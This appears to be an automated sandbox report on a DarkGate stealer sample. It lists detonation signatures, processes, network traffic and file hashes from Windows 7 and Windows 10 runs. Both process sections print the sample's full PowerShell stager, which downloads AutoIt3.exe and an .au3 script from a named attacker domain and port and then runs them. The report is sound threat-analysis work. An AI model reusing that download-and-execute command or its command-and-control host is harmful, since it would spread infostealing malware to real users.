Malware Analysis Report

2024-11-30 11:11

Sample ID 231107-r1m3haaa9x
Target 07112023_2239_060e45bf7b57d4.zip
SHA256 c49909f924e6ba5de54e3afa58c1653ef8e37fbcfee9a310941d38d17060bd4d
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c49909f924e6ba5de54e3afa58c1653ef8e37fbcfee9a310941d38d17060bd4d

Threat Level: Known bad

The file 07112023_2239_060e45bf7b57d4.zip was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Downloads MZ/PE file

Blocklisted process makes network request

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Checks processor information in registry

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-07 14:39

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-07 14:39

Reported

2023-11-07 14:43

Platform

win7-20231020-en

Max time kernel

118s

Max time network

134s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msihujidbbn' -OutFile 'hujidbbn.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'hujidbbn.au3'"; Stop-Process -Name "WScript"

Network

N/A

Files

memory/2696-4-0x000000001B280000-0x000000001B562000-memory.dmp

memory/2696-5-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

memory/2696-6-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

memory/2696-8-0x0000000002630000-0x00000000026B0000-memory.dmp

memory/2696-7-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

memory/2696-9-0x0000000002630000-0x00000000026B0000-memory.dmp

memory/2696-10-0x0000000002630000-0x00000000026B0000-memory.dmp

memory/2696-11-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-07 14:39

Reported

2023-11-07 14:42

Platform

win10v2004-20231020-en

Max time kernel

156s

Max time network

158s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3350690463-3549324357-1323838019-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msihujidbbn' -OutFile 'hujidbbn.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'hujidbbn.au3'"; Stop-Process -Name "WScript"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" hujidbbn.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 8sjimonstersboonkonline.com udp
US 82.117.253.136:2351 8sjimonstersboonkonline.com tcp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 136.253.117.82.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 8.8.8.8:53 198.1.85.104.in-addr.arpa udp
US 204.79.197.200:443 g.bing.com tcp
US 82.117.253.136:2351 8sjimonstersboonkonline.com tcp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 58.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 163.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 23.173.189.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_anzvfed2.a3q.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1848-5-0x000001F56ABD0000-0x000001F56ABF2000-memory.dmp

memory/1848-10-0x00007FFAF6430000-0x00007FFAF6EF1000-memory.dmp

memory/1848-11-0x000001F568A20000-0x000001F568A30000-memory.dmp

memory/1848-12-0x000001F568A20000-0x000001F568A30000-memory.dmp

memory/1848-13-0x000001F568A20000-0x000001F568A30000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/1848-27-0x00007FFAF6430000-0x00007FFAF6EF1000-memory.dmp

C:\tepp\hujidbbn.au3

MD5 305a14601aa52a85993c77549c330e43
SHA1 aa4998fc5deaba2d7a32b188d942fded94182e2b
SHA256 8cf3bf5fc4274ea0d15a2b0c3999a21e1303ef83c42145a9a6e3e6b5114f0cce
SHA512 65f2201f003ba2dfa01d3a793c7f58d4ee711f02b8e849081b9325a61b7e04df5708ddf153be74ebf8a48df5ca7c70b68285925786ababb748b669ed994143ff

memory/2160-30-0x0000000001490000-0x0000000001890000-memory.dmp

memory/2160-31-0x0000000004520000-0x00000000046B5000-memory.dmp

memory/2160-32-0x0000000004520000-0x00000000046B5000-memory.dmp